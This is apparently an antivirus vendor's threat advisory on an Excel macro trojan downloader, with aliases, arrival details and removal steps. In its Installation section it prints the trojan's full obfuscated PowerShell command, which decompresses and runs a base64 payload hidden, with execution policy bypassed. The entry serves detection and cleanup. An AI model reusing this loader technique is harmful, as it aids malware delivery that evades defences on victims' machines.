Trojan.X97M.POWLOAD.SMK

 Modified by: Clive Fuentebella

 ALIASES:

VBA/Dldr.Agent.hzazi (ANTIVIR); VBA/TrojanDownloader.Agent.MUV trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
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 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

112,131 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

20 Feb 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • CmD /c "sET psA=(.("{3}{2}{1}{0}"-f'CT','bJE','-o','NeW') ("{1}{5}{6}{7}{2}{0}{3}{4}" -f'DefLaT','sYs','on.','E','stream','tem','.iO.comP','rEssi')( [iO.MeMoRYstrEAM][ConveRT]::"FROmBA`sE64`s`T`RinG"({Base-64 encoded}) ,[iO.comPrESsIOn.ComprESsIoNmODe]::"dECOmp`Re`SS" )^|^&("{0}{1}"-f'fOrEaC','H'){ ^&("{0}{1}{2}" -f'NeW-','ob','JECT') ("{2}{3}{1}{4}{0}" -f'R','strEAMre','Io','.','AdE')( ${_} , [SySTEM.TexT.EnCoDIng]::"aSc`II") }^| ^&("{0}{2}{1}" -f'FoRE','H','ac') {${_}."rea`dTOe`ND"( ) } ) ^| . ( ${psH`Ome}[21]+\${P`sHoME}[30]+'X')&&powerSHElL -w 1 -NOPrOfil -nOnINtera -Nol -eXeC bYPAsS set-ItEm vaRiAblE:HQt ([TYPe]( \"{1}{0}{2}\" -f'vI','EN','RoNmeNt' ) ) ; ( ^& (\"{1}{0}{2}\" -f 'aBl','VaRi','e' ) ( \"{0}{3}{4}{1}{2}\"-f 'E','oNco','nTExT','Xe','cuTi' ) ).\"vA`LUE\".\"iN`VoKecO`mMaND\".\"inV`O`kESCR`ipT\"( ( $hQT::( \"{3}{5}{1}{2}{0}{4}\"-f'ENTVar','v','IROnM','Ge','IablE','TEn').Invoke( 'PSa',( \"{2}{1}{0}\"-f'S','cES','Pro' ) )) )"

Other Details

This Trojan connects to the following possibly malicious URL:

  • https://{BLOCKED}on.com/StreamGame.rar

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.844.08

FIRST VSAPI PATTERN DATE:

01 Mar 2019

VSAPI OPR PATTERN File:

14.845.00

VSAPI OPR PATTERN Date:

02 Mar 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.SMK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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